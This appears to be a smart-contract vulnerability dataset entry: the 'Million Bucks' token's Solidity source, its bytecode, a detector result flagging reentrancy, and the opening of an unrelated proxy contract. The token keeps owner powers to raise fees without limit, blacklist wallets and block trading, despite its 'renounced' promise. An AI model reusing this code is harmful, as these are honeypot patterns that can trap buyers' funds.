*Submitted for verification at Etherscan.io on 2022-04-04
*/
/**
Million Bucks community token
do you want the moon?? You are in the right place .....
tax Fee On Buy - 5% ......
tax Fee On sell - 15% .....
NO dev token .....
liquidity will be locked - contract will be renounced
(Telegram will be created by the community) .....
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MillionBucks is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Million Bucks";
string private constant _symbol = "MNB";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 15;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x913A7B5F02EdBA4C71516fCF929a39EAA4c4D360);
address payable private _marketingAddress = payable(0x913A7B5F02EdBA4C71516fCF929a39EAA4c4D360);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b257600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600d81526c4d696c6c696f6e204275636b7360981b60208201525b60405161023d9190611a26565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a7b565b61069c565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611aa7565b6106b3565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601554610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611ae8565b61071c565b34801561037157600080fd5b506101fc610380366004611b15565b610767565b34801561039157600080fd5b506101fc6107af565b3480156103a657600080fd5b506102c56103b5366004611ae8565b6107fa565b3480156103c657600080fd5b506101fc61081c565b3480156103db57600080fd5b506101fc6103ea366004611b30565b610890565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611ae8565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b15565b6108bf565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b5060408051808201909152600381526226a72160e91b6020820152610230565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026661050d366004611a7b565b610974565b34801561051e57600080fd5b5061026661052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c5610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071dcdac5adc2190f17075226e3498ea4606a24e2bc7d9357bf0a34bc9cf62c9d64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,244 |
0xc014c026d92c03cd3a8fdee6f2cafdc9254f5c9f
|
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
